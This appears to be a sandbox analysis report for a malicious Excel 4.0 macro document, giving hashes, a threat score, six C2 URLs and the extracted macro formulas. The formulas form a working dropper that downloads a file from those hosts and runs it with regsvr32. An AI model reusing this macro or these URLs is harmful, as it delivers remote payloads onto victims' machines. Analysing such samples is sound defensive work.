4b1372de3f32d76af1179b8cc2369596ff3dccfbcbe76b23b1ae654d7680b2d8

General

Target

4b1372de3f32d76af1179b8cc2369596ff3dccfbcbe76b23b1ae654d7680b2d8
Size

46KB
Sample

241120-qv1kzaxney
MD5

12f803109c5d2bc4512e9a6cdcd00d5f
SHA1

30b4414b7870ea24d7c02c023cacc2b60b971da9
SHA256

4b1372de3f32d76af1179b8cc2369596ff3dccfbcbe76b23b1ae654d7680b2d8
SHA512

cbae49da4b174857dec43d04827c22df8962f9ab91fb403f62544a431c60cf89b20d47d0a97e9c258a46a11f5d90550e9374fb1346a83d6c7ccbcf902f8f9ae8
SSDEEP

768:Sio9DOevZCwrvtD608zdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+Uh0VPWft:Sio9D7UtT5fTR4Lh1NisFYBc3cr+UqVC

Score

10^/10

discovery macro xlm

Rule

Excel 4.0 XLM Macro

C2

http://diacrestgroup.com/ggv3rjy/9/

https://merturku.com/blogs/IFcif/

https://tugbagoncaguzellik.com/odwxblu/hRhyIiTr7M8/

https://winnieswondersaviary.com/wp-content/GfGvSMj6HihGNZZa9T/

https://mayatherm.com/vendor/3Vk/

https://dbmtechnologies.ca/wp-content/oZE7jRqRoPg7zVVW9/

Attributes

formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://diacrestgroup.com/ggv3rjy/9/","..\aew.ocx",0,0) =IF('EFALGV'!D10<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://merturku.com/blogs/IFcif/","..\aew.ocx",0,0)) =IF('EFALGV'!D12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://tugbagoncaguzellik.com/odwxblu/hRhyIiTr7M8/","..\aew.ocx",0,0)) =IF('EFALGV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://winnieswondersaviary.com/wp-content/GfGvSMj6HihGNZZa9T/","..\aew.ocx",0,0)) =IF('EFALGV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://mayatherm.com/vendor/3Vk/","..\aew.ocx",0,0)) =IF('EFALGV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://dbmtechnologies.ca/wp-content/oZE7jRqRoPg7zVVW9/","..\aew.ocx",0,0)) =IF('EFALGV'!D20<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\aew.ocx") =RETURN()

Language

xlm4.0

Source

URLs

xlm40.dropper

http://diacrestgroup.com/ggv3rjy/9/

xlm40.dropper

https://merturku.com/blogs/IFcif/

xlm40.dropper

https://tugbagoncaguzellik.com/odwxblu/hRhyIiTr7M8/

xlm40.dropper

https://winnieswondersaviary.com/wp-content/GfGvSMj6HihGNZZa9T/

xlm40.dropper

https://mayatherm.com/vendor/3Vk/

xlm40.dropper

https://dbmtechnologies.ca/wp-content/oZE7jRqRoPg7zVVW9/